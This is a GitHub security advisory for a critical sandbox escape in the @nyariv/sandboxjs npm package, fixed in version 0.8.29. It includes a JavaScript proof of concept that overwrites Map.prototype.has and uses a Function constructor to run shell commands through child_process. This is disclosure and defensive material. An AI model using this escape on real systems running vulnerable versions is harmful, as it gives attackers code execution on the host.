GHSA-66H4-QJ4X-38XP

Vulnerability from github – Published: 2026-02-05 21:05 – Updated: 2026-02-06 21:42
VLAI?
Summary
@nyariv/sandboxjs has a Sandbox Escape vulnerability
Details

Summary

As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.

Details

This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:

let a = Map.prototype;
console.log(a) // undefined

const a = Map.prototype;
console.log(a) // Object [Map] {}

let a = 123;
console.log(a) // 123

const a = 123;
console.log(a) // 123

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const m = Map.prototype;
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;

sb.compile(payload)().run();

Impact

Able to set Map.prototype.has -> RCE

Severity ?
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:05:59Z",
    "nvd_published_at": "2026-02-06T20:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it\u0027s prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__`  (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n  )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -\u003e RCE",
  "id": "GHSA-66h4-qj4x-38xp",
  "modified": "2026-02-06T21:42:54Z",
  "published": "2026-02-05T21:05:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nyariv/sandboxjs has a Sandbox Escape vulnerability"
}


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